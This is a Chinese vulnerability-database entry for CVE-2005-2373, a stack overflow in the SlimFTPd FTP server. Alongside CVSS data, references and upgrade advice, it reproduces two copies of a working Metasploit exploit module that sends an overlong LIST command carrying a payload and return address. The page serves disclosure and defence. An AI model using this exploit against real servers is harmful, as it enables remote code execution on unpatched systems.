CVE-2005-2373
CVSS7.2
发布时间 :2005-07-26 00:00:00
修订时间 :2016-10-17 23:26:26
NMCOEP    

[原文]Buffer overflow in SlimFTPd 3.15 and 3.16 allows remote authenticated users to execute arbitrary code via a long directory name to (1) LIST, (2) DELE or (3) RNFR commands.


[CNNVD]SlimFTPd long directory name 缓冲区溢出漏洞(CNNVD-200507-261)

        SlimFTPd是一款基于windows系统的简单小巧的ftp服务器。
        SlimFTPd 3.15和3.16存在缓冲区溢出漏洞。远程认证用户可以通过 (1) LIST、(2) DELE或(3) RNFR命令的长目录名执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:whitsoft_development:slimftpd:3.16
cpe:/a:whitsoft_development:slimftpd:3.15

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2373
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2373
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200507-261
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=112196537312610&w=2
(UNKNOWN)  BUGTRAQ  20050721 Arbitrary code execution in SlimFTPd v3.16
http://securitytracker.com/id?1014542
(UNKNOWN)  SECTRACK  1014542
http://www.whitsoftdev.com/slimftpd/
(UNKNOWN)  CONFIRM  http://www.whitsoftdev.com/slimftpd/

- 漏洞信息

SlimFTPd long directory name 缓冲区溢出漏洞
高危 缓冲区溢出
2005-07-26 00:00:00 2005-10-20 00:00:00
本地  
        SlimFTPd是一款基于windows系统的简单小巧的ftp服务器。
        SlimFTPd 3.15和3.16存在缓冲区溢出漏洞。远程认证用户可以通过 (1) LIST、(2) DELE或(3) RNFR命令的长目录名执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.whitsoftdev.com/slimftpd/

- 漏洞信息 (16729)

SlimFTPd LIST Concatenation Overflow (EDBID:16729)
windows remote
2010-10-05 Verified
0 metasploit
N/A [点击下载]
##
# $Id: slimftpd_list_concat.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SlimFTPd LIST Concatenation Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the SlimFTPd
				server. The flaw is triggered when a LIST command is
				received with an overly-long argument. This vulnerability
				affects all versions of SlimFTPd prior to 3.16 and was
				discovered by Raphael Rigo.
			},
			'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'References'     =>
				[
					[ 'CVE', '2005-2373'],
					[ 'OSVDB', '18172'],
					[ 'BID', '14339'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 490,
					'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
					'StackAdjustment' => -3500,
				},
			'Platform'       => [ 'win' ],
			'Targets'        =>
				[
					[
						'SlimFTPd Server <= 3.16 Universal',
						{
							'Ret'      => 0x0040057d,
						},
					],
				],
			'DisclosureDate' => 'Jul 21 2005',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf          = make_nops(511)
		buf[10, payload.encoded.length] = payload.encoded
		buf[507, 4] = [ target.ret ].pack('V')

		send_cmd( ['XMKD', '41414141'], true );
		send_cmd( ['CWD', '41414141'], true );
		send_cmd( ['LIST', buf], false )

		handler
		disconnect
	end

end
		

- 漏洞信息 (F82997)

SlimFTPd LIST Concatenation Overflow (PacketStormID:F82997)
2009-11-26 00:00:00
riaf  metasploit.com
exploit,overflow
CVE-2005-2373
[点击下载]

This Metasploit module exploits a stack overflow in the SlimFTPd server. The flaw is triggered when a LIST command is received with an overly-long argument. This vulnerability affects all versions of SlimFTPd prior to 3.16 and was discovered by Raphael Rigo.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'SlimFTPd LIST Concatenation Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the SlimFTPd
				server. The flaw is triggered when a LIST command is
				received with an overly-long argument. This vulnerability
				affects all versions of SlimFTPd prior to 3.16 and was
				discovered by Raphael Rigo.
					
			},
			'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2005-2373'],
					[ 'OSVDB', '18172'],
					[ 'BID', '14339'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 490,
					'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
					'StackAdjustment' => -3500,

				},
			'Targets'        => 
				[
					[
						'SlimFTPd Server <= 3.16 Universal',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040057d,
						},
					],
				],
			'DisclosureDate' => 'Jul 21 2005',
			'DefaultTarget' => 0))
	end
	
	def exploit
		connect_login
		
		print_status("Trying target #{target.name}...")

		buf          = make_nops(511)
		buf[10, payload.encoded.length] = payload.encoded
		buf[507, 4] = [ target.ret ].pack('V')

		send_cmd( ['XMKD', '41414141'], true );
		send_cmd( ['CWD', '41414141'], true );
		send_cmd( ['LIST', buf], false )
		
		handler
		disconnect
	end

end
    

- 漏洞信息

18172
SlimFTPd Multiple Commands Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

A local overflow exists in SlimFTPd. The LIST, DELE and RNFR commands fail to validate a string argument resulting in a stack overflow. With a specially crafted command, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-07-21 2005-07-07
2005-07-21 Unknow

- 解决方案

Upgrade to version 3.17 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站